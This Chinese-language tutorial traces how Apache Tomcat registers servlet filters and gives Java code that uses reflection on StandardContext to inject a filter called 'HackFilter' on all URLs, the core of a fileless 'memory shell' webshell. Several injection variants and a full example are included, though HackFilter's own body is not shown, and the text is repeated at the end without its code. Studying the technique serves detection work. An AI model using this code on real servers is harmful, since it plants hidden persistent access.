以初学者角度调试filter内存马
字数 1831 2025-08-04 00:46:02

Filter内存马调试与分析指南

1. Filter内存马概述

Filter内存马是一种通过动态注册Filter组件来实现持久化控制的技术手段。本文将从初学者角度,通过跟踪Filter注解的初始化流程和运行时调试,详细解析Filter的动态注册过程。

2. Filter注册的核心流程

Filter内存马注册主要涉及StandardContext对象的三个关键变量:

  1. filterDefs:存放每个Filter的定义信息
  2. filterMaps:存放每个Filter的URL映射
  3. filterConfigs:存放每个Filter的配置,用于构建FilterChain

3. Filter注解初始化分析

3.1 注解处理流程

  1. 使用@WebFilter注解声明Filter:

    @WebFilter(filterName = "MyFilter", urlPatterns = "/*")
    
  2. 注解处理入口方法:org.apache.catalina.startup.ContextConfig#processAnnotationWebFilter

  3. 主要处理对象:

    • FilterDef:设置Filter名称和类路径
    • FilterMap:设置Filter名称、URL映射和Dispatcher方式
  4. 最终存储位置:

    • FilterDef和FilterMap会被存入webXml对象
    • 通过configureContext方法解析webXml对象中的数据

3.2 关键存储位置

  • StandardContext#addFilterDef:将FilterDef存入filterDefs数组
  • StandardContext#addFilterMap:将FilterMap存入filterMaps数组

4. Filter运行时调试分析

4.1 Filter调用栈

  1. 调用起点:org.apache.catalina.core.StandardWrapperValve#invoke
  2. 核心对象:ApplicationFilterChain类型的filterChain
  3. 关键方法调用:
    • filterChain.doFilter()
    • internalDoFilter()

4.2 FilterChain创建过程

  1. 创建方法:ApplicationFilterFactory#createFilterChain

  2. 创建流程:

    • 遍历StandardContext中的filterMaps
    • 匹配URL映射与请求路径
    • 从StandardContext中查询对应Filter的FilterConfig对象
    • 将FilterConfig添加到FilterChain的filters变量中
  3. FilterConfig初始化:

    • 方法:StandardContext#filterStart
    • 功能:将filterDefs转换为filterConfigs

4.3 Filter执行流程

  1. 获取FilterChain中的第一个FilterConfig对象
  2. 通过FilterConfig获取Filter对象
  3. 调用Filter的doFilter方法
  4. 如果Filter中调用chain.doFilter(),则重复上述过程

5. 动态注册Filter的实现

5.1 获取StandardContext对象

ServletContext requestServletContext = request.getServletContext();
ApplicationContext applicationContext = (ApplicationContext) getFieldValue(requestServletContext, "context");
StandardContext standardContext = (StandardContext) getFieldValue(applicationContext, "context");

5.2 注册FilterDef的方法

方法一:使用addFilterDef函数

FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterClass(HackFilter.class.getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);

方法二:直接操作filterDefs变量

FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterClass(HackFilter.class.getName());
filterDef.setFilterName(name);
Map<String, FilterDef> filterDefs = (Map<String, FilterDef>) getFieldValue(standardContext, "filterDefs");
filterDefs.put(filterDef.getFilterName(), filterDef);

5.3 注册FilterMap的方法

方法一:使用addFilterMap函数

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher("REQUEST");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
// 或使用addFilterMapBefore提高优先级
standardContext.addFilterMapBefore(filterMap);

方法二:使用ApplicationFilterRegistration

ApplicationFilterRegistration applicationFilterRegistration = 
    new ApplicationFilterRegistration(filterDef, standardContext);
applicationFilterRegistration.addMappingForUrlPatterns(
    EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});

方法三:反射操作filterMaps

Class<?> aClass = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
Object filterMaps = getFieldValue(standardContext, "filterMaps");
Method addBefore = aClass.getMethod("addBefore", new Class[]{FilterMap.class});
addBefore.invoke(filterMaps, new Object[]{filterMap});

方法四:直接操作filterMaps内部变量

Object filterMaps = getFieldValue(standardContext, "filterMaps");
FilterMap[] array = (FilterMap[]) getFieldValue(filterMaps, "array");
Integer insertPoint = (Integer) getFieldValue(filterMaps, "insertPoint");
// 创建新数组并插入filterMap

5.4 注册FilterConfig的方法

方法一:使用filterStart方法

standardContext.filterStart();

方法二:直接操作filterConfigs

Map<String, ApplicationFilterConfig> filterConfigs = 
    (Map<String, ApplicationFilterConfig>) getFieldValue(standardContext, "filterConfigs");
Constructor<?> constructor = ApplicationFilterConfig.class
    .getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfig config = (ApplicationFilterConfig) constructor
    .newInstance(standardContext, filterDef);
filterConfigs.put(name, config);

6. 完整示例代码

protected void service(HttpServletRequest request, HttpServletResponse resp) throws ServletException, IOException {
    String name = "simpleFilter";
    try {
        // 获取standardContext对象
        ServletContext requestServletContext = request.getServletContext();
        ApplicationContext applicationContext = (ApplicationContext) getFieldValue(requestServletContext, "context");
        StandardContext standardContext = (StandardContext) getFieldValue(applicationContext, "context");

        // 注册FilterDefs
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(new HackFilter());
        filterDef.setFilterClass(HackFilter.class.getName());
        filterDef.setFilterName(name);
        standardContext.addFilterDef(filterDef);

        // 注册FilterMaps
        ApplicationFilterRegistration applicationFilterRegistration = 
            new ApplicationFilterRegistration(filterDef, standardContext);
        applicationFilterRegistration.addMappingForUrlPatterns(
            EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});

        // 注册FilterConfigs
        standardContext.filterStart();

    } catch (Exception e) {
        e.printStackTrace();
    }
}

7. 总结

  1. Filter内存马的核心是通过操作StandardContext的三个关键变量实现动态注册
  2. 完整的注册流程需要依次处理FilterDef、FilterMap和FilterConfig
  3. 可以通过多种方式实现变量操作,包括直接调用API和反射操作
  4. FilterChain的创建和调用过程决定了Filter的执行顺序
  5. 实际应用中需要注意Filter的优先级和URL匹配规则

通过深入理解Filter的初始化流程和运行时机制,可以更灵活地实现Filter内存马,同时也为防御此类攻击提供了理论基础。

Filter内存马调试与分析指南 1. Filter内存马概述 Filter内存马是一种通过动态注册Filter组件来实现持久化控制的技术手段。本文将从初学者角度,通过跟踪Filter注解的初始化流程和运行时调试,详细解析Filter的动态注册过程。 2. Filter注册的核心流程 Filter内存马注册主要涉及StandardContext对象的三个关键变量: filterDefs :存放每个Filter的定义信息 filterMaps :存放每个Filter的URL映射 filterConfigs :存放每个Filter的配置,用于构建FilterChain 3. Filter注解初始化分析 3.1 注解处理流程 使用 @WebFilter 注解声明Filter: 注解处理入口方法: org.apache.catalina.startup.ContextConfig#processAnnotationWebFilter 主要处理对象: FilterDef :设置Filter名称和类路径 FilterMap :设置Filter名称、URL映射和Dispatcher方式 最终存储位置: FilterDef和FilterMap会被存入webXml对象 通过 configureContext 方法解析webXml对象中的数据 3.2 关键存储位置 StandardContext#addFilterDef :将FilterDef存入filterDefs数组 StandardContext#addFilterMap :将FilterMap存入filterMaps数组 4. Filter运行时调试分析 4.1 Filter调用栈 调用起点: org.apache.catalina.core.StandardWrapperValve#invoke 核心对象: ApplicationFilterChain 类型的filterChain 关键方法调用: filterChain.doFilter() internalDoFilter() 4.2 FilterChain创建过程 创建方法: ApplicationFilterFactory#createFilterChain 创建流程: 遍历StandardContext中的filterMaps 匹配URL映射与请求路径 从StandardContext中查询对应Filter的FilterConfig对象 将FilterConfig添加到FilterChain的filters变量中 FilterConfig初始化: 方法: StandardContext#filterStart 功能:将filterDefs转换为filterConfigs 4.3 Filter执行流程 获取FilterChain中的第一个FilterConfig对象 通过FilterConfig获取Filter对象 调用Filter的doFilter方法 如果Filter中调用chain.doFilter(),则重复上述过程 5. 动态注册Filter的实现 5.1 获取StandardContext对象 5.2 注册FilterDef的方法 方法一:使用addFilterDef函数 方法二:直接操作filterDefs变量 5.3 注册FilterMap的方法 方法一:使用addFilterMap函数 方法二:使用ApplicationFilterRegistration 方法三:反射操作filterMaps 方法四:直接操作filterMaps内部变量 5.4 注册FilterConfig的方法 方法一:使用filterStart方法 方法二:直接操作filterConfigs 6. 完整示例代码 7. 总结 Filter内存马的核心是通过操作StandardContext的三个关键变量实现动态注册 完整的注册流程需要依次处理FilterDef、FilterMap和FilterConfig 可以通过多种方式实现变量操作,包括直接调用API和反射操作 FilterChain的创建和调用过程决定了Filter的执行顺序 实际应用中需要注意Filter的优先级和URL匹配规则 通过深入理解Filter的初始化流程和运行时机制,可以更灵活地实现Filter内存马,同时也为防御此类攻击提供了理论基础。